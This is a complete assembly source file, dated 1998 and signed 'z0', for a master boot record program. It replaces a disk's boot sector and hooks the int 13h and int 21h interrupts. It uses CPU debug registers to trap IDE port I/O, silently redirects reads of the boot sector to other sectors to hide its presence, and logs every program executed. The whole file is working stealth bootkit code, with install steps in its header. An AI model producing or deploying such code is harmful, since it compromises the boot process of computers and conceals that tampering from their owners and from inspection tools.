comment #
This is MBR. It monitors IDE port 0 master disk and int 13h.
Coded in Russia by z0, 1998. (WATCOM C/C++ 11.0)
With utils: install.asm, restore.asm, test.asm.
E:\Z0\MBR\>wasm mbr.asm
E:\Z0\MBR\>wlink file mbr.obj format dos com name mbr.bin
E:\Z0\MBR\>install
<CTRL-ALT-DEL>
#
v_start equ 80h ;from vector 80h to vector
v_stop equ 90h ;8fh we search in BIOS for 'cd vector'
i_0 equ 13h*4 ;interrupt 0 offset in vector table
i_1 equ 01h*4 ;interrupt 1 offset in vector table
i_2 equ 21h*4 ;interrupt 1 offset in vector table
.386p
cs16 segment use16 byte
assume cs:cs16
assume ds:cs16
org 7c00h
c_0: cli
cld
xor cx,cx
mov ds,cx
mov di,0f000h
mov es,di
shl edi,10h ;mov edi,0f0000000h
mov al,0cdh
mov bx,v_start
c_2: dec cx ;mov cx,0ffffh
c_3: repnz scasb
jnz c_4
cmp es:[di],bl
jnz c_3
jmp c_5
c_4: inc bx
inc di ;xor di,di
cmp bx,v_stop
jnz c_2
hlt
c_5: dec di ;edi - BIOS seg:off 'cd bl'
mov eax,ds:[i_0]
mov ds:[i_0],edi ;new i_0 ->BIOS handler
mov [i_0_1],edi ;i_1 -> i_0 (relocation)
mov [i_0_0],eax ;old i_0 handler (relocation)
shl bx,2
xor eax,eax
mov ax,bx
add ax,4
mov [bx],eax ;new i_0 BIOS-> handler
mov cx,e_1 ;handlers' total size
push ds
pop es
mov si,offset i_0_c ;handlers' entry
mov di,ax ;where to copy
add ax,((offset i_1_c)-(offset i_0_c))
mov [i_1_0],eax ;i_0 -> i_1 (relocation)
mov ds:[i_1],eax ;new i_1 handler
add ax,((offset i_2_c)-(offset i_1_c))
mov [i_2_0],eax ;i_0 -> i_2 (relocation)
rep movsb
mov eax,cr4
or eax,8 ;i/o breakpoints
mov cr4,eax
mov eax,1f6h ;ide 0 master
mov dr0,eax
mov eax,020703h ;enable port trace
mov dr7,eax
sti
mov di,7bfeh
mov word ptr [di],13cdh
mov cx,1
mov dx,80h
mov bx,7c00h
mov ax,201h
jmp di ;local reboot
;i_0 handler on DOS stack. Called by int 13 (DOS) -> int 8?h (BIOS).
i_0_c: add sp,6 ;remove int 8?'s data from stack
db 66h ;install i_1 handler
db 2eh
db 0c7h
db 6
dw i_1 ;i_1 offset in cs:
i_1_0 dd 0 ;(relocation)
push ax
push bx
push es
mov ax,es
sub ax,11h
; js b_5
jmp b_5
mov es,ax
cmp byte ptr es:[bx],5ah
jnz b_5
db 0e8h ;call cs:[ip+0]
dw 0
b_2: pop bx
add bx,((offset i_2_0)-(offset b_2))
mov eax,cs:[i_2]
cmp eax,cs:[bx] ;i_2->i_2 ?
jz b_5 ;yes
add bx,((offset i_2_2)-(offset i_2_0))
mov cs:[bx],eax
db 66h ;install i_2 handler
db 2eh
db 0c7h
db 6
dw i_2 ;i_2 offset in cs:
i_2_0 dd 0 ;(relocation)
b_5: pop es
pop bx
pop ax
b_4: test cx,0ffc0h ;cylinder
jnz b_0
cmp dx,80h ;drive/head
jnz b_0
cmp ah,2 ;ah=0 reset, ah=1 status
jb b_0
cmp ah,0bh ;normal BIOS ends r/w here
ja b_0
cmp ah,8 ;get params
jz b_0
cmp ah,9 ;set params
jz b_0
cmp al,1 ;sector count
jnz b_0
cmp cl,2 ;sector number
jb b_1
ja b_3
jz b_0
b_1: inc cl
jmp b_0
b_3: mov cl,3
b_0: db 0eah
i_0_0 dd 0 ;(relocation)
;i_1 handler on caller's stack. Called by hardware i/o breakpoint
i_1_c: db 66h ;install i_0 handler
db 2eh
db 0c7h
db 6
dw i_0
i_0_1 dd 0 ;(relocation)
push ax
mov eax,dr6
bt eax,13
jnc y_3
hlt
y_3: pop ax
push ax
push dx
push bx
cmp dx,1f6h ;drive/head
jnz y_0
test al,1fh ;drive 0, head 0 ?
jnz y_0 ;not
mov bl,al
dec dx ;cylinder high
in al,dx
mov ah,al
dec dx ;cylinder low
in al,dx
or ax,ax
jnz y_0
sub dx,2 ;sector count
in al,dx
cmp al,1
jnz y_0
inc dx ;sector number
in al,dx
test bl,040h ;LBA ?
mov bl,0
jnz y_4 ;yes
inc bl
y_4: inc bl
cmp al,bl
jz y_0
ja y_1
inc al
jmp y_2
y_1: add bl,3eh
cmp al,bl
jae y_0
sub bl,3dh
mov al,bl
y_2: out dx,al
y_0: pop bx
pop dx
pop ax
iret ;repeat command with RF=1
;i_2 handler on DOS stack. Called by DOS
i_2_c: cmp ah,4bh
jnz r_0
push ax
push dx
push bx
mov al,4
xor dx,dx
r_3: push ax
out 70h,al
in al,71h
push ax
and al,0f0h
shr al,4
or al,30h
call s_0
pop ax
and al,0fh
or al,30h
call s_0
mov al,3ah
call s_0
pop ax
sub ax,2
inc dx
cmp dx,3
jnz r_3
mov al,20h
call s_0
pop bx
pop dx
pop ax
push ax
push dx
push bx
r_2: push dx
pop bx
mov al,[bx]
or al,al
jz r_1
call s_0
inc dx
jmp r_2
r_1: mov al,0ah
call s_0
mov ax,0dh
call s_0
pop bx
pop dx
pop ax
r_0: db 0eah ;to real handler
i_2_2 dd 0 ;(relocation)
s_0: mov ah,0eh
xor bx,bx
int 10h
retn
z0 db 'Coded in Russia by z0, 1998'
e_1 equ $-i_0_c
org 7dfeh
dw 0aa55h ;this must be
cs16 ends
end c_0
|